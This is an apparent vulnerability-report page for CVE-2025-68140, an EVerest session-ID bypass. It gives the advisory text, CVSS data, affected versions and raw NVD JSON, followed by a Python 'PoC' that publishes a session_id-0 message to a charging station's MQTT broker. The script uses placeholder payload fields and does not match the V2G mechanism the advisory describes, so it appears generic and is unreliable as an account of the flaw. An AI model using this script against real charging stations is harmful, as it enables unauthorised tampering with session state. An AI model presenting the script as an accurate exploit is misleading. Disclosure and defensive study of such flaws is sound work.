Security Vulnerability Report
中文
CVE-2025-68140 CVSS 4.3 MEDIUM

CVE-2025-68140

Published: 2026-01-21 20:16:06
Last Modified: 2026-02-06 21:22:07

Description

EVerest is an EV charging software stack. Prior to version 2025.9.0, once the validity of the received V2G message has been verified, it is checked whether the submitted session ID matches the registered one. However, if no session has been registered, the default value is 0. Therefore, a message submitted with a session ID of 0 is accepted, as it matches the registered value. This could allow unauthorized and anonymous indirect emission of MQTT messages and communication with V2G messages handlers, updating a session context. Version 2025.9.0 fixes the issue.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:* - VULNERABLE
EVerest < 2025.9.0
everest-core < 2025.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68140 PoC - EVerest Session ID Bypass # This PoC demonstrates sending a V2G message with session ID 0 # to bypass authentication in EVerest < 2025.9.0 import paho.mqtt.client as mqtt import json import time # Configuration TARGET_HOST = "192.168.1.100" # EVerest charging station IP TARGET_PORT = 1883 BROKER_TOPIC = "everest/v2g/" def create_malicious_v2g_message(): """ Create a malicious V2G message with session_id = 0 This exploits the default session ID validation bypass """ message = { "message_type": "V2GMessage", "session_id": 0, # Exploiting the default uninitialized session ID "action": "update_session_context", "payload": { "arbitrary_data": "malicious_payload", "command": "manipulate_session" }, "timestamp": int(time.time()) } return json.dumps(message) def on_connect(client, userdata, flags, rc): if rc == 0: print("[+] Connected to MQTT broker") # Send malicious V2G message payload = create_malicious_v2g_message() client.publish(BROKER_TOPIC + "incoming", payload) print(f"[+] Malicious message sent: {payload}") else: print(f"[-] Connection failed with code {rc}") def main(): client = mqtt.Client() client.on_connect = on_connect try: client.connect(TARGET_HOST, TARGET_PORT, 60) client.loop_forever() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": main() # Note: This PoC requires network access to the target EVerest charging station # Attack vector: Adjacent network (AV:A) # No authentication required (PR:N) # No user interaction needed (UI:N)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68140", "sourceIdentifier": "[email protected]", "published": "2026-01-21T20:16:06.343", "lastModified": "2026-02-06T21:22:06.867", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Prior to version 2025.9.0, once the validity of the received V2G message has been verified, it is checked whether the submitted session ID matches the registered one. However, if no session has been registered, the default value is 0. Therefore, a message submitted with a session ID of 0 is accepted, as it matches the registered value. This could allow unauthorized and anonymous indirect emission of MQTT messages and communication with V2G messages handlers, updating a session context. Version 2025.9.0 fixes the issue."}, {"lang": "es", "value": "EVerest es una pila de software de carga de VE. Antes de la versión 2025.9.0, una vez verificada la validez del mensaje V2G recibido, se comprueba si el ID de sesión enviado coincide con el registrado. Sin embargo, si no se ha registrado ninguna sesión, el valor predeterminado es 0. Por lo tanto, un mensaje enviado con un ID de sesión de 0 es aceptado, ya que coincide con el valor registrado. Esto podría permitir la emisión indirecta no autorizada y anónima de mensajes MQTT y la comunicación con los manejadores de mensajes V2G, actualizando un contexto de sesión. La versión 2025.9.0 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.9.0", "matchCriteriaId": "B1D746C7-49D6-43DE-90B2-C79F58ADB9B7"}]}]}], "references": [{"url": "https://github.com/EVerest/everest-core/security/advisories/GHSA-w385-3jwp-x47x", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}